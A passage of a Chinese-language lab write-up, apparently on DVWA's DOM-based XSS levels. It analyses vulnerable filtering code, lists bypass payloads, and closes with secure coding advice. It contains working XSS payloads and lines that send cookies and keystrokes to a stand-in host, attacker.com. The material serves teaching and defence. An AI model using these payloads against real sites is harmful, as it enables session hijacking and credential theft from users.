language_">document</span>.<span class="property">onkeypress</span> = <span class="keyword">function</span>(<span class="params">e</span>) &#123;</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">var</span> xhr = <span class="keyword">new</span> <span class="title class_">XMLHttpRequest</span>();</span></span><br><span class="line"><span class="language-javascript">    xhr.<span class="title function_">open</span>(<span class="string">&#x27;POST&#x27;</span>, <span class="string">&#x27;http://attacker.com/log.php&#x27;</span>, <span class="literal">true</span>);</span></span><br><span class="line"><span class="language-javascript">    xhr.<span class="title function_">send</span>(<span class="string">&#x27;key=&#x27;</span> + <span class="title class_">String</span>.<span class="title function_">fromCharCode</span>(e.<span class="property">which</span>));</span></span><br><span class="line"><span class="language-javascript">&#125;;</span></span><br><span class="line"><span class="language-javascript"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><hr><h2 id="Medium-难度"><a href="#Medium-难度" class="headerlink" title="Medium 难度"></a>Medium 难度</h2><h3 id="攻击目标-1"><a href="#攻击目标-1" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>添加了部分过滤，但可以绕过。</p><h3 id="前端代码分析-1"><a href="#前端代码分析-1" class="headerlink" title="前端代码分析"></a>前端代码分析</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 检查URL参数</span></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">if</span> (<span class="variable language_">document</span>.<span class="property">location</span>.<span class="property">href</span>.<span class="title function_">indexOf</span>(<span class="string">&quot;default=&quot;</span>) &gt;= <span class="number">0</span>) &#123;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 提取参数值</span></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">var</span> langDefault = <span class="variable language_">document</span>.<span class="property">location</span>.<span class="property">href</span>.<span class="title function_">substring</span>(</span></span><br><span class="line"><span class="language-javascript">        <span class="variable language_">document</span>.<span class="property">location</span>.<span class="property">href</span>.<span class="title function_">indexOf</span>(<span class="string">&quot;default=&quot;</span>) + <span class="number">8</span></span></span><br><span class="line"><span class="language-javascript">    );</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// ★★★ 新增：过滤&lt;script&gt;标签 ★★★</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 使用正则表达式替换&lt;script&gt;标签</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// /&lt;script[^&gt;]*&gt;.*?&lt;\/script&gt;/gi</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 分解：</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// &lt;script[^&gt;]*&gt; - 匹配&lt;script&gt;开始标签（包含属性）</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// .*? - 匹配任意内容（非贪婪）</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// &lt;\/script&gt; - 匹配</span></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span>结束标签</span><br><span class="line">    // g - 全局匹配</span><br><span class="line">    // i - 忽略大小写</span><br><span class="line">    //</span><br><span class="line">    // 问题：</span><br><span class="line">    // 1. 只过滤<span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript">标签</span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 2. 不过滤&lt;img&gt;、&lt;svg&gt;等其他标签</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 3. 不过滤事件处理器（onerror、onload等）</span></span></span><br><span class="line"><span class="language-javascript">    langDefault = langDefault.<span class="title function_">replace</span>(<span class="regexp">/&lt;script[^&gt;]*&gt;.*?&lt;\/script&gt;/gi</span>, <span class="string">&#x27;&#x27;</span>);</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 仍使用document.write()输出</span></span></span><br><span class="line"><span class="language-javascript">    <span class="variable language_">document</span>.<span class="title function_">write</span>(<span class="string">&quot;&lt;option&gt;Welcome to &quot;</span> + langDefault + <span class="string">&quot;&lt;/option&gt;&quot;</span>);</span></span><br><span class="line"><span class="language-javascript">    <span class="variable language_">document</span>.<span class="property">forms</span>[<span class="number">0</span>].<span class="property">default</span>.<span class="property">value</span> = langDefault;</span></span><br><span class="line"><span class="language-javascript">&#125;</span></span><br><span class="line"><span class="language-javascript"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护"><a href="#新增防护" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>正则过滤<script>标签</strong> - 移除<code>&lt;script&gt;...&lt;/script&gt;</code></li><li><strong>忽略大小写</strong> - 防止<code>&lt;ScRiPt&gt;</code>绕过</li></ol><h3 id="仍存在的漏洞"><a href="#仍存在的漏洞" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><p><strong>核心问题：</strong></p><p>只过滤<code>&lt;script&gt;</code>标签，但有很多其他方式可以执行JavaScript：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 被过滤 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span>alert(1)<span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 仍然有效 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">alert(1)</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">svg</span> <span class="attr">onload</span>=<span class="string">alert(1)</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">iframe</span> <span class="attr">src</span>=<span class="string">javascript:alert(1)</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span> <span class="attr">onload</span>=<span class="string">alert(1)</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">input</span> <span class="attr">onfocus</span>=<span class="string">alert(1)</span> <span class="attr">autofocus</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="绕过方法"><a href="#绕过方法" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 id="方法1：使用标签"><a href="#方法1：使用标签" class="headerlink" title="方法1：使用标签"></a>方法1：使用<img>标签</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?default=<span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br></pre></td></tr></table></figure><p><strong>原理：</strong></p><ul><li><code>&lt;img&gt;</code>标签不在过滤列表中</li><li><code>onerror</code>事件处理器可以执行JavaScript</li><li><code>src=x</code>会加载失败，触发onerror</li></ul><h4 id="方法2：使用标签"><a href="#方法2：使用标签" class="headerlink" title="方法2：使用标签"></a>方法2：使用<svg>标签</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?default=<span class="tag">&lt;<span class="name">svg</span> <span class="attr">onload</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br></pre></td></tr></table></figure><h4 id="方法3：使用"><a href="#方法3：使用" class="headerlink" title="方法3：使用"></a>方法3：使用<iframe></h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?default=<span class="tag">&lt;<span class="name">iframe</span> <span class="attr">src</span>=<span class="string">javascript:alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br></pre></td></tr></table></figure><h4 id="方法4：使用"><a href="#方法4：使用" class="headerlink" title="方法4：使用"></a>方法4：使用<body></h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?default=<span class="tag">&lt;<span class="name">body</span> <span class="attr">onload</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br></pre></td></tr></table></figure><h4 id="方法5：使用事件处理器组合"><a href="#方法5：使用事件处理器组合" class="headerlink" title="方法5：使用事件处理器组合"></a>方法5：使用事件处理器组合</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 窃取Cookie --&gt;</span></span><br><span class="line">?default=<span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">&quot;fetch(&#x27;http://attacker.com/?c=&#x27;+document.cookie)&quot;</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 键盘记录 --&gt;</span></span><br><span class="line">?default=<span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">&quot;document.onkeypress=e=&gt;fetch(&#x27;http://attacker.com/?k=&#x27;+e.key)&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure><hr><h2 id="High-难度"><a href="#High-难度" class="headerlink" title="High 难度"></a>High 难度</h2><h3 id="攻击目标-2"><a href="#攻击目标-2" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>更严格的白名单过滤，但仍可能绕过。</p><h3 id="前端代码分析-2"><a href="#前端代码分析-2" class="headerlink" title="前端代码分析"></a>前端代码分析</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">if</span> (<span class="variable language_">document</span>.<span class="property">location</span>.<span class="property">href</span>.<span class="title function_">indexOf</span>(<span class="string">&quot;default=&quot;</span>) &gt;= <span class="number">0</span>) &#123;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">var</span> langDefault = <span class="variable language_">document</span>.<span class="property">location</span>.<span class="property">href</span>.<span class="title function_">substring</span>(</span></span><br><span class="line"><span class="language-javascript">        <span class="variable language_">document</span>.<span class="property">location</span>.<span class="property">href</span>.<span class="title function_">indexOf</span>(<span class="string">&quot;default=&quot;</span>) + <span class="number">8</span></span></span><br><span class="line"><span class="language-javascript">    );</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// ★★★ 新增：白名单验证 ★★★</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 定义允许的语言列表</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 使用switch-case进行严格匹配</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">//</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 作用：只允许预定义的值</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 任何不在列表中的值都会被拒绝</span></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">switch</span> (langDefault) &#123;</span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">case</span> <span class="string">&quot;English&quot;</span>:</span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">case</span> <span class="string">&quot;French&quot;</span>:</span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">case</span> <span class="string">&quot;Spanish&quot;</span>:</span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">case</span> <span class="string">&quot;German&quot;</span>:</span></span><br><span class="line"><span class="language-javascript">            <span class="comment">// 在白名单中，允许输出</span></span></span><br><span class="line"><span class="language-javascript">            <span class="variable language_">document</span>.<span class="title function_">write</span>(<span class="string">&quot;&lt;option&gt;Welcome to &quot;</span> + langDefault + <span class="string">&quot;&lt;/option&gt;&quot;</span>);</span></span><br><span class="line"><span class="language-javascript">            <span class="keyword">break</span>;</span></span><br><span class="line"><span class="language-javascript">        <span class="attr">default</span>:</span></span><br><span class="line"><span class="language-javascript">            <span class="comment">// ★★★ 问题：默认情况仍会输出 ★★★</span></span></span><br><span class="line"><span class="language-javascript">            <span class="comment">// 虽然检查了白名单，但default分支仍使用document.write()</span></span></span><br><span class="line"><span class="language-javascript">            <span class="comment">// 如果这里有任何输出，仍可能存在XSS</span></span></span><br><span class="line"><span class="language-javascript">            <span class="variable language_">document</span>.<span class="title function_">write</span>(<span class="string">&quot;&lt;option&gt;Invalid selection&lt;/option&gt;&quot;</span>);</span></span><br><span class="line"><span class="language-javascript">    &#125;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="variable language_">document</span>.<span class="property">forms</span>[<span class="number">0</span>].<span class="property">default</span>.<span class="property">value</span> = langDefault;</span></span><br><span class="line"><span class="language-javascript">&#125;</span></span><br><span class="line"><span class="language-javascript"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护-1"><a href="#新增防护-1" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>白名单验证</strong> - 只允许特定的语言名称</li><li><strong>Switch-case严格匹配</strong> - 完全相等才允许</li></ol><h3 id="仍存在的漏洞-1"><a href="#仍存在的漏洞-1" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><p><strong>关键问题：</strong></p><p>虽然使用了白名单，但代码实现可能存在逻辑漏洞：</p><ol><li><strong>default分支的处理</strong> - 如果default分支有输出，可能被利用</li><li><strong>大小写敏感</strong> - switch是严格匹配，但没有统一转换大小写</li><li><strong>编码绕过</strong> - URL编码、Unicode编码可能绕过检查</li></ol><h3 id="绕过方法-1"><a href="#绕过方法-1" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 id="方法1：利用default分支（如果存在漏洞）"><a href="#方法1：利用default分支（如果存在漏洞）" class="headerlink" title="方法1：利用default分支（如果存在漏洞）"></a>方法1：利用default分支（如果存在漏洞）</h4><p>如果default分支代码是：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">default</span>:</span><br><span class="line">    <span class="variable language_">document</span>.<span class="title function_">write</span>(<span class="string">&quot;&lt;option&gt;You selected: &quot;</span> + langDefault + <span class="string">&quot;&lt;/option&gt;&quot;</span>);</span><br></pre></td></tr></table></figure><p>那么仍可注入：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?default=<span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">alert(1)</span>&gt;</span></span><br></pre></td></tr></table></figure><h4 id="方法2：大小写混淆（无效）"><a href="#方法2：大小写混淆（无效）" class="headerlink" title="方法2：大小写混淆（无效）"></a>方法2：大小写混淆（无效）</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- switch是严格匹配，这个无效 --&gt;</span></span><br><span class="line">?default=ENGLISH  ✗</span><br><span class="line">?default=english  ✗</span><br></pre></td></tr></table></figure><h4 id="方法3：URL编码（可能有效）"><a href="#方法3：URL编码（可能有效）" class="headerlink" title="方法3：URL编码（可能有效）"></a>方法3：URL编码（可能有效）</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 如果substring后没有解码，可能绕过 --&gt;</span></span><br><span class="line">?default=%3Cscript%3Ealert(1)%3C/script%3E</span><br></pre></td></tr></table></figure><p><strong>High难度通常无法绕过，除非实现有缺陷。</strong></p><hr><h2 id="Impossible-难度"><a href="#Impossible-难度" class="headerlink" title="Impossible 难度"></a>Impossible 难度</h2><h3 id="攻击目标-3"><a href="#攻击目标-3" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>完善的防御机制，真正安全。</p><h3 id="前端代码分析-3"><a href="#前端代码分析-3" class="headerlink" title="前端代码分析"></a>前端代码分析</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// ★★★ 核心改进：不直接使用URL参数 ★★★</span></span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 方法1：完全避免使用URL参数</span></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 使用服务器端验证和渲染</span></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// JavaScript只处理用户交互，不处理URL参数</span></span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 方法2：严格的输入验证和输出编码</span></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">if</span> (<span class="variable language_">document</span>.<span class="property">location</span>.<span class="property">href</span>.<span class="title function_">indexOf</span>(<span class="string">&quot;default=&quot;</span>) &gt;= <span class="number">0</span>) &#123;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">var</span> langDefault = <span class="variable language_">document</span>.<span class="property">location</span>.<span class="property">href</span>.<span class="title function_">substring</span>(</span></span><br><span class="line"><span class="language-javascript">        <span class="variable language_">document</span>.<span class="property">location</span>.<span class="property">href</span>.<span class="title function_">indexOf</span>(<span class="string">&quot;default=&quot;</span>) + <span class="number">8</span></span></span><br><span class="line"><span class="language-javascript">    );</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// ★★★ 改进1：URL解码 ★★★</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// decodeURIComponent() - 解码URL编码</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 防止编码绕过</span></span></span><br><span class="line"><span class="language-javascript">    langDefault = <span class="built_in">decodeURIComponent</span>(langDefault);</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// ★★★ 改进2：严格的白名单 ★★★</span></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">var</span> allowedLanguages = &#123;</span></span><br><span class="line"><span class="language-javascript">        <span class="string">&#x27;English&#x27;</span>: <span class="literal">true</span>,</span></span><br><span class="line"><span class="language-javascript">        <span class="string">&#x27;French&#x27;</span>: <span class="literal">true</span>,</span></span><br><span class="line"><span class="language-javascript">        <span class="string">&#x27;Spanish&#x27;</span>: <span class="literal">true</span>,</span></span><br><span class="line"><span class="language-javascript">        <span class="string">&#x27;German&#x27;</span>: <span class="literal">true</span></span></span><br><span class="line"><span class="language-javascript">    &#125;;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// ★★★ 改进3：白名单检查 ★★★</span></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">if</span> (allowedLanguages[langDefault]) &#123;</span></span><br><span class="line"><span class="language-javascript">        <span class="comment">// ★★★ 改进4：使用textContent而不是innerHTML ★★★</span></span></span><br><span class="line"><span class="language-javascript">        <span class="comment">// textContent - 只设置文本内容，不解析HTML</span></span></span><br><span class="line"><span class="language-javascript">        <span class="comment">// 即使有HTML标签，也会作为纯文本显示</span></span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">var</span> option = <span class="variable language_">document</span>.<span class="title function_">createElement</span>(<span class="string">&#x27;option&#x27;</span>);</span></span><br><span class="line"><span class="language-javascript">        option.<span class="property">textContent</span> = <span class="string">&quot;Welcome to &quot;</span> + langDefault;</span></span><br><span class="line"><span class="language-javascript">        <span class="variable language_">document</span>.<span class="title function_">querySelector</span>(<span class="string">&#x27;select&#x27;</span>).<span class="title function_">appendChild</span>(option);</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">        <span class="variable language_">document</span>.<span class="property">forms</span>[<span class="number">0</span>].<span class="property">default</span>.<span class="property">value</span> = langDefault;</span></span><br><span class="line"><span class="language-javascript">    &#125; <span class="keyword">else</span> &#123;</span></span><br><span class="line"><span class="language-javascript">        <span class="comment">// 无效输入，显示错误</span></span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">var</span> option = <span class="variable language_">document</span>.<span class="title function_">createElement</span>(<span class="string">&#x27;option&#x27;</span>);</span></span><br><span class="line"><span class="language-javascript">        option.<span class="property">textContent</span> = <span class="string">&quot;Invalid selection&quot;</span>;</span></span><br><span class="line"><span class="language-javascript">        <span class="variable language_">document</span>.<span class="title function_">querySelector</span>(<span class="string">&#x27;select&#x27;</span>).<span class="title function_">appendChild</span>(option);</span></span><br><span class="line"><span class="language-javascript">    &#125;</span></span><br><span class="line"><span class="language-javascript">&#125;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// ★★★ 最佳方案：完全避免DOM型XSS ★★★</span></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 1. 不从URL读取敏感数据</span></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 2. 使用服务器端渲染</span></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 3. 实施CSP（Content Security Policy）</span></span></span><br><span class="line"><span class="language-javascript"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="完善的防护机制"><a href="#完善的防护机制" class="headerlink" title="完善的防护机制"></a>完善的防护机制</h3><p><strong>多层防御：</strong></p><ol><li><strong>白名单验证</strong> - 只允许预定义的值</li><li><strong>URL解码</strong> - 防止编码绕过</li><li><strong>使用textContent</strong> - 不解析HTML</li><li><strong>createElement + appendChild</strong> - 安全的DOM操作</li><li><strong>避免危险函数</strong> - 不使用innerHTML、document.write()</li></ol><p><strong>安全的DOM操作：</strong></p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 危险 ✗</span></span><br><span class="line">element.<span class="property">innerHTML</span> = userInput;</span><br><span class="line"><span class="variable language_">document</span>.<span class="title function_">write</span>(userInput);</span><br><span class="line"><span class="built_in">eval</span>(userInput);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 安全 ✓</span></span><br><span class="line">element.<span class="property">textContent</span> = userInput;</span><br><span class="line">element.<span class="title function_">setAttribute</span>(<span class="string">&#x27;data-value&#x27;</span>, userInput);</span><br><span class="line"><span class="variable language_">document</span>.<span class="title function_">createTextNode</span>(userInput);</span><br></pre></td></tr></table></figure><h3 id="为什么无法攻破？"><a href="#为什么无法攻破？" class="headerlink" title="为什么无法攻破？"></a>为什么无法攻破？</h3><p><strong>所有攻击都被阻止：</strong></p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">攻击1：?<span class="attribute">default</span>=&lt;script&gt;alert(1)&lt;/script&gt;</span><br><span class="line">白名单检查 → 失败（不在列表中）</span><br><span class="line">结果：显示<span class="string">&quot;Invalid selection&quot;</span></span><br><span class="line"></span><br><span class="line">攻击2：?<span class="attribute">default</span>=&lt;img <span class="attribute">src</span>=x <span class="attribute">onerror</span>=alert(1)&gt;</span><br><span class="line">白名单检查 → 失败</span><br><span class="line">结果：显示<span class="string">&quot;Invalid selection&quot;</span></span><br><span class="line"></span><br><span class="line">攻击3：?<span class="attribute">default</span>=English&lt;script&gt;alert(1)&lt;/script&gt;</span><br><span class="line">白名单检查 → 失败（完全匹配）</span><br><span class="line">结果：显示<span class="string">&quot;Invalid selection&quot;</span></span><br><span class="line"></span><br><span class="line">攻击4：?<span class="attribute">default</span>=English</span><br><span class="line">白名单检查 → 通过</span><br><span class="line">输出方式 → textContent（纯文本）</span><br><span class="line">结果：即使值被修改，也不会执行脚本</span><br></pre></td></tr></table></figure><p><strong>关键防御点：</strong></p><ol><li><strong>Source控制</strong> - URL参数经过严格验证</li><li><strong>Sink安全</strong> - 使用textContent而不是innerHTML</li><li><strong>白名单机制</strong> - 默认拒绝策略</li><li><strong>无解析点</strong> - 没有地方会解析HTML</li></ol><hr><h2 id="防御建议"><a href="#防御建议" class="headerlink" title="防御建议"></a>防御建议</h2><h3 id="代码层面"><a href="#代码层面" class="headerlink" title="代码层面"></a>代码层面</h3><h4 id="1-避免危险的Sinks"><a href="#1-避免危险的Sinks" class="headerlink" title="1. 避免危险的Sinks"></a>1. 避免危险的Sinks</h4><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 危险 ✗</span></span><br><span class="line">element.<span class="property">innerHTML</span> = userInput;</span><br><span class="line"><span class="variable language_">document</span>.<span class="title function_">write</span>(userInput);</span><br><span class="line"><span class="built_in">eval</span>(userInput);</span><br><span class="line"><span class="built_in">setTimeout</span>(userInput, <span class="number">1000</span>);</span><br><span class="line">element.<span class="title function_">setAttribute</span>(<span class="string">&#x27;onclick&#x27;</span>, userInput);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 安全 ✓</span></span><br><span class="line">element.<span class="property">textContent</span> = userInput;</span><br><span class="line">element.<span class="title function_">setAttribute</span>(<span class="string">&#x27;data-value&#x27;</span>, userInput);</span><br><span class="line"><span class="keyword">var</span> text = <span class="variable language_">document</span>.<span class="title function_">createTextNode</span>(userInput);</span><br><span class="line">element.<span class="title function_">appendChild</span>(text);</span><br></pre></td></tr></table></figure><h4 id="2-验证和清理输入"><a href="#2-验证和清理输入" class="headerlink" title="2. 验证和清理输入"></a>2. 验证和清理输入</h4><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 白名单验证</span></span><br><span class="line"><span class="keyword">function</span> <span class="title 